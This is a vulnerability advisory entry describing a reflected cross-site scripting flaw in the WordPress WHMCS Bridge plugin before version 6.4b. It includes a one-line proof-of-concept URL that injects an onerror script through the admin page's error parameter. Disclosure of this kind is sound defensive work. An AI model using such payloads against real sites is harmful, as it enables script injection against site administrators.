WordPress Plugin Vulnerabilities
WHMCS Bridge < 6.4b - Reflected Cross-Site Scripting (XSS)
Description
The plugin does not sanitise and escape the error parameter before outputting it back in admin dashboard, leading to a Reflected Cross-Site Scripting
Proof of Concept
http://example.com/wp-admin/options-general.php?page=cc-ce-bridge-cp&error=%3Cimg%20src%20onerror=alert(1)%3E
Affects Plugins
Fixed in version 6.4b
References
Classification
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
Timeline
Publicly Published
2022-01-27 (about 3 months ago)
Added
2022-01-27 (about 3 months ago)
Last Updated
2022-04-16 (about 1 months ago)